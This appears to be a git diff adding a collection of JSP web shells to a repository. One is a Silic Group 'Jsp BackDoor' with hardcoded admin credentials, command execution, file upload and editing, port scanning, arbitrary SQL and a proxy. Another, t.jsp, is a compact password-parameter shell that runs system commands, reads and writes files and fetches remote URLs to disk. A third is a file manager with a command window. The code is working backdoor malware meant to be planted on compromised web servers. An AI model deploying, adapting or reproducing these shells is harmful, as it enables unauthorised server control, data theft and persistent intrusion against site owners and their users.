|
||||
}
|
||||
private void getProcedureDetail(ResultSet procRs)throws Exception{
|
||||
out.print("<table border=1><tr><td>PROCEDURE_NAME</td><td>REMARKS</td><td>PROCEDURE_TYPE</td></tr>");
|
||||
while(procRs.next()){
|
||||
out.print("<tr><td>"+procRs.getString(3)+"</td><td>"+procRs.getString(7)+"</td><td>"+procRs.getShort(8)+"</td></tr>");
|
||||
}
|
||||
out.print("</table>");
|
||||
procRs.close();
|
||||
}
|
||||
public void executeSQL(String sqlCmd)throws Exception{
|
||||
stmt=con.createStatement();
|
||||
if(sqlCmd.trim().toLowerCase().startsWith("select")){
|
||||
rs=stmt.executeQuery(sqlCmd);
|
||||
ResultSetMetaData rsmd=rs.getMetaData();
|
||||
int ColumnCount=rsmd.getColumnCount();
|
||||
out.print("<table border=1><tr>");
|
||||
for(int i=1;i<=ColumnCount;i++){
|
||||
out.print("<td>"+rsmd.getColumnName(i)+"</td>");
|
||||
}
|
||||
out.print("</tr>");
|
||||
while(rs.next()){
|
||||
out.print("</tr>");
|
||||
for(int i=1;i<=ColumnCount;i++){
|
||||
out.print("<td>"+rs.getString(i)+"</td>");
|
||||
}
|
||||
out.print("</tr>");
|
||||
}
|
||||
}else{
|
||||
stmt.executeUpdate(sqlCmd);
|
||||
out.print("execute success");
|
||||
}
|
||||
}
|
||||
public void closeAll()throws SQLException{
|
||||
try{
|
||||
if(rs!=null)rs.close();
|
||||
}catch(Exception e){
|
||||
}
|
||||
try{
|
||||
if(stmt!=null)stmt.close();
|
||||
}catch(Exception e){
|
||||
}
|
||||
try{
|
||||
if(con!=null)con.close();
|
||||
}catch(Exception e){
|
||||
}
|
||||
}
|
||||
}
|
||||
void systemTools(JspWriter out)throws Exception{
|
||||
out.print("<table border=1>");
|
||||
out.print("<tr><form method=post action='?Action=run'><td bordercolorlight=Black bgcolor=menu>System class run</td>");
|
||||
out.print("<td colspan=2>filepath:<input name=execFile size=75 type=text title='d:\\cmd.exe /c dir c:'></td><td><input name=go type=submit value=run></td></form></tr>");
|
||||
out.print("<tr><form method=post enctype=\"multipart/form-data\" action='?Action=Upfile'><td bordercolorlight=Black bgcolor=menu>file upload</td>");
|
||||
out.print("<td colspan=2>file:<input name=file type=file>upload file<input title='d:\\silic.txt' name=UPaddress size=35 type=text></td><td><input name=up onclick=\"this.form.action+='&UPaddress='+this.form.UPaddress.value;\" type=submit value=upl></td></form></tr>");
|
||||
out.print("<tr><form method=post action='?Action=EditFile'><td bordercolorlight=Black bgcolor=menu>new file</td><td colspan=2>file name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
|
||||
out.print("</form></tr>");
|
||||
out.print("<tr><form method=post action='?Action=newFolder'><td bordercolorlight=Black bgcolor=menu>Create folder</td><td colspan=2>folder name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
|
||||
out.print("</form></tr>");
|
||||
out.print("<tr><form method=post action='?Action=APIreflect'><td bordercolorlight=Black bgcolor=menu>Reflect API</td><td colspan=2>Class Name:<input name=Filename title=java.lang.String type=text size=50></td><td><input name=submit type=submit value=ref></td>");
|
||||
out.print("</form></tr>");
|
||||
out.print("<tr><form method=post action='?Action=IPscan'><td bordercolorlight=Black bgcolor=menu>Scan Port</td><td>IP:<input name=IPaddress type=text size=20></td><td>Start Port:<input name=startPort title=1-65535 type=text size=5>End Port:<input name=endPort title=1-65535 type=text size=5></td><td><input name=submit type=submit value=sca></td>");
|
||||
out.print("</form></tr>");
|
||||
out.print("<tr><form method=post action='?Action=sql'>");
|
||||
out.print("<td bordercolorlight=Black bgcolor=menu>DBM");
|
||||
out.print("<select name=DB onChange='setDataBase(this.form);'><option>Sybase</option><option>Mssql</option><option>Mysql</option><option>Oracle</option><option>DB2</option><option>PostgreSQL</option></select></td><td>");
|
||||
out.print("Driver:<input name=driver type=text>URL:<input name=conUrl type=text>user:<input name=user type=text size=3>password:<input name=password type=text size=3></td>");
|
||||
out.print("<td>SqlCmd:<input type=text name=sqlcmd title='select * from admin'><input name=run type=submit value=Exec></td>");
|
||||
out.print("<td><input name=run type=submit value=LDB></td>");
|
||||
out.print("</form></tr>");
|
||||
if(!openHttpProxy){
|
||||
out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>OpenTheHttpProxy</a></td></tr>");
|
||||
}else{
|
||||
out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>CloseTheHttpProxy</a></td></tr>");
|
||||
}
|
||||
out.print("</table>");
|
||||
}
|
||||
void userInterFaces(JspWriter out)throws Exception{
|
||||
out.print("Recode by <a href='http://blackbap.org/'>Silic Group Inc.</a>");
|
||||
}
|
||||
|
||||
String encodeChange(String str)throws Exception{
|
||||
if(str==null)
|
||||
return null;
|
||||
else
|
||||
return new String(str.getBytes("ISO-8859-1"),"gb2312");
|
||||
}
|
||||
String folderReplace(String folder){
|
||||
return folder.replace('\\','/');
|
||||
}
|
||||
String fOperation(boolean f,String file){
|
||||
if(f)
|
||||
return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:zipFile('"+folderReplace(file)+"')\">Zip</a>";
|
||||
else
|
||||
return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:copyFile('"+folderReplace(file)+"')\">Copy</a> <a href=\"javascript:editFile('"+folderReplace(file)+"')\">Edit</a> <a href=\"javascript:downFile('"+folderReplace(file)+"');\">Down</a>";
|
||||
}
|
||||
String getSize(long size){
|
||||
if(size>=1024*1024*1024){
|
||||
return new Long(size/1073741824L)+"G";
|
||||
}else if(size>=1024*1024){
|
||||
return new Long(size/1048576L)+"M";
|
||||
}else if(size>=1024){
|
||||
return new Long(size/1024)+"K";
|
||||
}else
|
||||
return size+"B";
|
||||
}
|
||||
String ico(int num){
|
||||
return "<font face=wingdings size=3>&#"+num+"</font>";
|
||||
}
|
||||
String htmlEntity(String htmlCode){
|
||||
StringBuffer sb=new StringBuffer();
|
||||
char c=0;
|
||||
for(int i=0;i<htmlCode.length();i++){
|
||||
c=htmlCode.charAt(i);
|
||||
if(c=='<')sb.append("<");
|
||||
else if(c=='>')sb.append(">");
|
||||
else if(c==' ')sb.append(" ");
|
||||
else sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
%>
|
||||
<%
|
||||
session.setMaxInactiveInterval(6000);
|
||||
final String WEB_SITE=folderReplace(application.getRealPath("/"));
|
||||
final String URL=request.getRequestURI();
|
||||
if(session.getAttribute("ID")==null){
|
||||
String username="admin";
|
||||
String password="silic";
|
||||
if(request.getParameter("Silic")!=null&&request.getParameter("juliet")!=null&&request.getParameter("Silic").equals(username)&&request.getParameter("juliet").equals(password)){
|
||||
session.setAttribute("ID","1");
|
||||
response.sendRedirect(URL);
|
||||
}else{
|
||||
out.println("<center style=font-size:12px><br><br>"+"Jsp BackDoor by Silic Group Juliet"+"<br><br>" +
|
||||
"<form name=login method=post>username:<input name=Silic type=text size=15><br>" +
|
||||
"password:<input name=juliet type=password size=15><br><input type=submit value=Login></form></center>");
|
||||
}
|
||||
return;
|
||||
}
|
||||
%>
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=gb2312">
|
||||
<title><%=APP_NAME%></title>
|
||||
<style type="text/css">
|
||||
body,td{font-size: 12px;}
|
||||
table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}
|
||||
input,select{font-size:12px;}
|
||||
body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
|
||||
td{white-space:nowrap;}
|
||||
a{color:black;text-decoration:none;}
|
||||
</style>
|
||||
<script>
|
||||
Top=top.address;
|
||||
function downFile(file){
|
||||
Top.Filename.value=file;
|
||||
Top.Action.value="D";
|
||||
Top.submit();
|
||||
}
|
||||
function checkUrl(){
|
||||
top.address.Action.value="F";
|
||||
top.address.submit();
|
||||
}
|
||||
function editFile(file){
|
||||
top.address.Action.value="E";
|
||||
top.address.Filename.value=file;
|
||||
top.address.submit();
|
||||
}
|
||||
function delFile(file){
|
||||
top.address.Action.value="R";
|
||||
top.address.Filename.value=file;
|
||||
top.address.submit();
|
||||
}
|
||||
function reName(file){
|
||||
if((Rname=prompt("rename to?",file))!=""&&Rname!=null){
|
||||
Top.Action.value="N";
|
||||
top.address.Filename.value=file+"|"+Rname;
|
||||
Top.submit();
|
||||
}
|
||||
}
|
||||
function copyFile(file){
|
||||
if((Rname=prompt("copy to?",file))!=""&&Rname!=null){
|
||||
Top.Action.value="P";
|
||||
top.address.Filename.value=file+"|"+Rname;
|
||||
Top.submit();
|
||||
}
|
||||
}
|
||||
function setDate(file){
|
||||
document.write("Change date:<br><form method='post' action='?Action=dateChange'>");
|
||||
document.write("filename:<input name='Filename' type='text' size=60 readonly value='"+file+"'><br>");
|
||||
document.write("Year:<select name='year'>");
|
||||
for(i=1970;i<=2050;i++){
|
||||
document.write("<option value="+i+">"+i+"</option>");
|
||||
}
|
||||
document.write("</select>");
|
||||
document.write("Month:<select name='month'>");
|
||||
for(i=1;i<=12;i++){
|
||||
document.write("<option value="+i+">"+i+"</option>");
|
||||
}
|
||||
document.write("</select>");
|
||||
document.write("Day:<select name='day'>");
|
||||
for(i=1;i<=31;i++){
|
||||
document.write("<option value="+i+">"+i+"</option>");
|
||||
}
|
||||
document.write("</select>");
|
||||
document.write("<input name='Action' type='button' onclick='top.address.Action.value=\"d\";this.form.submit();' value='dateChange'>");
|
||||
document.write("<input name='cancel' onclick='history.back();' type='button' value='Cancel'>");
|
||||
}
|
||||
function zipFile(file){
|
||||
if((zipF=prompt("save to ?",file+"/down.zip"))!=""&&zipF!=null){
|
||||
top.address.Action.value="Z";
|
||||
top.address.FolderPath.value=file;
|
||||
top.address.Filename.value=zipF;
|
||||
top.address.submit();
|
||||
}
|
||||
}
|
||||
function setDataBase(f){
|
||||
driverName=new Array();
|
||||
driverName[0]="com.sybase.jdbc2.jdbc.SybDriver";
|
||||
driverName[1]="com.microsoft.jdbc.sqlserver.SQLServerDriver";
|
||||
driverName[2]="com.mysql.jdbc.Driver";
|
||||
driverName[3]="oracle.jdbc.driver.OracleDriver";
|
||||
driverName[4]="com.ibm.db2.jdbc.app.DB2Driver";
|
||||
driverName[5]="org.postgresql.Driver";
|
||||
conUrl=new Array();
|
||||
conUrl[0]="jdbc:jtds:sybase://host:port/database";
|
||||
conUrl[1]="jdbc:microsoft:sqlserver://host:port;DatabaseName=";
|
||||
conUrl[2]="jdbc:mysql://host:port/database";
|
||||
conUrl[3]="jdbc:oracle:thin:@123.234.222.222:1521:orcl";
|
||||
conUrl[4]="jdbc:db2://host:port/database";
|
||||
conUrl[5]="jdbc:postgresql://host:port/database";
|
||||
f.driver.value=driverName[f.DB.selectedIndex];
|
||||
f.conUrl.value=conUrl[f.DB.selectedIndex];
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<%
|
||||
String Action=request.getParameter("Action");
|
||||
char action=(Action==null?"0":Action).charAt(0);
|
||||
try{
|
||||
switch(action){
|
||||
case 'M':mainMenu(out,WEB_SITE);break;
|
||||
case 'F':showFiles(out,encodeChange(request.getParameter("FolderPath")));break;
|
||||
case 'S':showSystemInfo(out);break;
|
||||
case 'L':servletInfo(config,out);break;
|
||||
case 'D':downFile(encodeChange(request.getParameter("Filename")),response);return;
|
||||
case 'E':editFile(encodeChange(request.getParameter("Filename")),out);break;
|
||||
case 'R':deleteFile(encodeChange(request.getParameter("Filename")),out);break;
|
||||
case 'K':saveFile(encodeChange(request.getParameter("filename")),request.getParameter("FileContent").getBytes("ISO-8859-1"),out);break;
|
||||
case 'N':renameFile(encodeChange(request.getParameter("Filename")),out);break;
|
||||
case 'P':copyFile(encodeChange(request.getParameter("Filename")),out);break;
|
||||
case 'd':dateChange(encodeChange(request.getParameter("Filename")),request.getParameter("year"),request.getParameter("month"),request.getParameter("day"),out);break;
|
||||
case 'r':execFile(encodeChange(request.getParameter("execFile")),out);break;
|
||||
case 'Z':zip(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("FolderPath")),out);break;
|
||||
case 'U':upfile(request,out,encodeChange(request.getParameter("UPaddress")));break;
|
||||
case 'n':newFolder(out,encodeChange(request.getParameter("Filename")));break;
|
||||
case 'A':reflectAPI(out,encodeChange(request.getParameter("Filename")));break;
|
||||
case 'I':scanPort(out,encodeChange(request.getParameter("IPaddress")),Integer.parseInt(request.getParameter("startPort")),Integer.parseInt(request.getParameter("endPort")));break;
|
||||
case 's':ConnectionDBM(out,encodeChange(request.getParameter("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));break;
|
||||
case 'H':switchProxyService(out);break;
|
||||
case 'i':userInterFaces(out);break;
|
||||
case 'T':systemTools(out);break;
|
||||
default:
|
||||
mainForm(WEB_SITE,out);break;
|
||||
}
|
||||
}catch(Exception e){
|
||||
}
|
||||
out.print("</body></html>");
|
||||
out.close();
|
||||
%>
|
1913
jsp/ma.jsp
Normal file
1913
jsp/ma.jsp
Normal file
File diff suppressed because it is too large
Load diff
2323
jsp/mmym520.jsp
Normal file
2323
jsp/mmym520.jsp
Normal file
File diff suppressed because it is too large
Load diff
4201
jsp/myxx.jsp
Normal file
4201
jsp/myxx.jsp
Normal file
File diff suppressed because it is too large
Load diff
2344
jsp/nogfw.jsp
Normal file
2344
jsp/nogfw.jsp
Normal file
File diff suppressed because it is too large
Load diff
2344
jsp/ok.jsp
Normal file
2344
jsp/ok.jsp
Normal file
File diff suppressed because it is too large
Load diff
1934
jsp/shell.jsp
Normal file
1934
jsp/shell.jsp
Normal file
File diff suppressed because it is too large
Load diff
2338
jsp/style.jsp
Normal file
2338
jsp/style.jsp
Normal file
File diff suppressed because it is too large
Load diff
59
jsp/t.jsp
Normal file
59
jsp/t.jsp
Normal file
|
@ -0,0 +1,59 @@
|
|||
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
|
||||
<%!
|
||||
String Pwd="t";
|
||||
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
|
||||
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
|
||||
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
|
||||
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
|
||||
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
|
||||
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
|
||||
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
|
||||
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
|
||||
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
|
||||
for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
|
||||
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
|
||||
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
|
||||
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
|
||||
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
|
||||
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
|
||||
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
|
||||
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
|
||||
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
|
||||
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
|
||||
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
|
||||
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
|
||||
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
|
||||
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
|
||||
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
|
||||
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
|
||||
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
|
||||
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
|
||||
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
|
||||
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
|
||||
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
|
||||
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
|
||||
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
|
||||
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
|
||||
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
|
||||
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
|
||||
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
|
||||
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
|
||||
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
|
||||
%><%
|
||||
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
|
||||
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
|
||||
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
|
||||
if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
|
||||
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
|
||||
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
|
||||
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
|
||||
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
|
||||
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
|
||||
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
|
||||
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
|
||||
%>
|
995
jsp/warn.jsp
Normal file
995
jsp/warn.jsp
Normal file
|
@ -0,0 +1,995 @@
|
|||
<%@page errorPage="/"%>
|
||||
<%@page contentType="text/html;charset=utf8"%>
|
||||
<%@page import="java.io.*,java.util.*,java.net.*" %>
|
||||
<%!
|
||||
private final static int languageNo=1;
|
||||
String strThisFile="JFileMan.jsp";
|
||||
String strSeparator = File.separator;
|
||||
String[] authorInfo={" <font color=red> mithi </font>"," <font color=red> Thanks for your support </font>"};
|
||||
String[] strFileManage = {"File Management","File Management"};
|
||||
String[] strCommand = {"Command Window","Command Window"};
|
||||
String[] strSysProperty = {"System Property","System Property"};
|
||||
String[] strHelp = {"Help","Help"};
|
||||
String[] strParentFolder = {"Parent Folder","Parent Folder"};
|
||||
String[] strCurrentFolder= {"Current Folder","Current Folder"};
|
||||
String[] strDrivers = {"Drivers","Drivers"};
|
||||
String[] strFileName = {"File Name","File Name"};
|
||||
String[] strFileSize = {"File Size","File Size"};
|
||||
String[] strLastModified = {"Last Modified","Last Modified"};
|
||||
String[] strFileOperation= {"Operations","Operations"};
|
||||
String[] strFileEdit = {"Edit","Edit"};
|
||||
String[] strFileDown = {"Download","Download"};
|
||||
String[] strFileCopy = {"Move","Move"};
|
||||
String[] strFileDel = {"Delete","Delete"};
|
||||
String[] strExecute = {"Execute","Execute"};
|
||||
String[] strBack = {"Back","Back"};
|
||||
String[] strFileSave = {"Save","Save"};
|
||||
|
||||
public class FileHandler
|
||||
{
|
||||
private String strAction="";
|
||||
private String strFile="";
|
||||
void FileHandler(String action,String f)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public static class UploadMonitor {
|
||||
|
||||
static Hashtable uploadTable = new Hashtable();
|
||||
|
||||
static void set(String fName, UplInfo info) {
|
||||
uploadTable.put(fName, info);
|
||||
}
|
||||
|
||||
static void remove(String fName) {
|
||||
uploadTable.remove(fName);
|
||||
}
|
||||
|
||||
static UplInfo getInfo(String fName) {
|
||||
UplInfo info = (UplInfo) uploadTable.get(fName);
|
||||
return info;
|
||||
}
|
||||
}
|
||||
|
||||
public class UplInfo {
|
||||
|
||||
public long totalSize;
|
||||
public long currSize;
|
||||
public long starttime;
|
||||
public boolean aborted;
|
||||
|
||||
public UplInfo() {
|
||||
totalSize = 0l;
|
||||
currSize = 0l;
|
||||
starttime = System.currentTimeMillis();
|
||||
aborted = false;
|
||||
}
|
||||
|
||||
public UplInfo(int size) {
|
||||
totalSize = size;
|
||||
currSize = 0;
|
||||
starttime = System.currentTimeMillis();
|
||||
aborted = false;
|
||||
}
|
||||
|
||||
public String getUprate() {
|
||||
long time = System.currentTimeMillis() - starttime;
|
||||
if (time != 0) {
|
||||
long uprate = currSize * 1000 / time;
|
||||
return convertFileSize(uprate) + "/s";
|
||||
}
|
||||
else return "n/a";
|
||||
}
|
||||
|
||||
public int getPercent() {
|
||||
if (totalSize == 0) return 0;
|
||||
else return (int) (currSize * 100 / totalSize);
|
||||
}
|
||||
|
||||
public String getTimeElapsed() {
|
||||
long time = (System.currentTimeMillis() - starttime) / 1000l;
|
||||
if (time - 60l >= 0){
|
||||
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||
else return time / 60 + ":0" + (time % 60) + "m";
|
||||
}
|
||||
else return time<10 ? "0" + time + "s": time + "s";
|
||||
}
|
||||
|
||||
public String getTimeEstimated() {
|
||||
if (currSize == 0) return "n/a";
|
||||
long time = System.currentTimeMillis() - starttime;
|
||||
time = totalSize * time / currSize;
|
||||
time /= 1000l;
|
||||
if (time - 60l >= 0){
|
||||
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||
else return time / 60 + ":0" + (time % 60) + "m";
|
||||
}
|
||||
else return time<10 ? "0" + time + "s": time + "s";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public class FileInfo {
|
||||
|
||||
public String name = null, clientFileName = null, fileContentType = null;
|
||||
private byte[] fileContents = null;
|
||||
public File file = null;
|
||||
public StringBuffer sb = new StringBuffer(100);
|
||||
|
||||
public void setFileContents(byte[] aByteArray) {
|
||||
fileContents = new byte[aByteArray.length];
|
||||
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||
}
|
||||
}
|
||||
|
||||
// A Class with methods used to process a ServletInputStream
|
||||
public class HttpMultiPartParser {
|
||||
|
||||
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||
private final int ONE_MB = 1024 * 1;
|
||||
|
||||
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
|
||||
int clength) throws IllegalArgumentException, IOException {
|
||||
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
|
||||
"\"" + boundary + "\" is an illegal boundary indicator");
|
||||
boundary = "--" + boundary;
|
||||
StringTokenizer stLine = null, stFields = null;
|
||||
FileInfo fileInfo = null;
|
||||
Hashtable dataTable = new Hashtable(5);
|
||||
String line = null, field = null, paramName = null;
|
||||
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
|
||||
boolean isFile = false;
|
||||
if (saveFiles) { // Create the required directory (including parent dirs)
|
||||
File f = new File(saveInDir);
|
||||
f.mkdirs();
|
||||
}
|
||||
line = getLine(is);
|
||||
if (line == null || !line.startsWith(boundary)) throw new IOException(
|
||||
"Boundary not found; boundary = " + boundary + ", line = " + line);
|
||||
while (line != null) {
|
||||
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
stLine = new StringTokenizer(line, ";\r\n");
|
||||
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||
"Bad data in second line");
|
||||
line = stLine.nextToken().toLowerCase();
|
||||
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
|
||||
"Bad data in second line");
|
||||
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
|
||||
"Bad data in second line");
|
||||
fileInfo = new FileInfo();
|
||||
stFields.nextToken();
|
||||
paramName = stFields.nextToken();
|
||||
isFile = false;
|
||||
if (stLine.hasMoreTokens()) {
|
||||
field = stLine.nextToken();
|
||||
stFields = new StringTokenizer(field, "=\"");
|
||||
if (stFields.countTokens() > 1) {
|
||||
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
|
||||
fileInfo.name = paramName;
|
||||
String value = stFields.nextToken();
|
||||
if (value != null && value.trim().length() > 0) {
|
||||
fileInfo.clientFileName = value;
|
||||
isFile = true;
|
||||
}
|
||||
else {
|
||||
line = getLine(is); // Skip "Content-Type:" line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Position to boundary line
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (field.toLowerCase().indexOf("filename") >= 0) {
|
||||
line = getLine(is); // Skip "Content-Type:" line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Position to boundary line
|
||||
continue;
|
||||
}
|
||||
}
|
||||
boolean skipBlankLine = true;
|
||||
if (isFile) {
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
if (line.trim().length() < 1) skipBlankLine = false;
|
||||
else {
|
||||
stLine = new StringTokenizer(line, ": ");
|
||||
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||
"Bad data in third line");
|
||||
stLine.nextToken(); // Content-Type
|
||||
fileInfo.fileContentType = stLine.nextToken();
|
||||
}
|
||||
}
|
||||
if (skipBlankLine) {
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
}
|
||||
if (!isFile) {
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
dataTable.put(paramName, line);
|
||||
// If parameter is dir, change saveInDir to dir
|
||||
if (paramName.equals("dir")) saveInDir = line;
|
||||
line = getLine(is);
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
UplInfo uplInfo = new UplInfo(clength);
|
||||
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
|
||||
OutputStream os = null;
|
||||
String path = null;
|
||||
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
|
||||
fileInfo.clientFileName));
|
||||
else os = new ByteArrayOutputStream(ONE_MB);
|
||||
boolean readingContent = true;
|
||||
byte previousLine[] = new byte[2 * ONE_MB];
|
||||
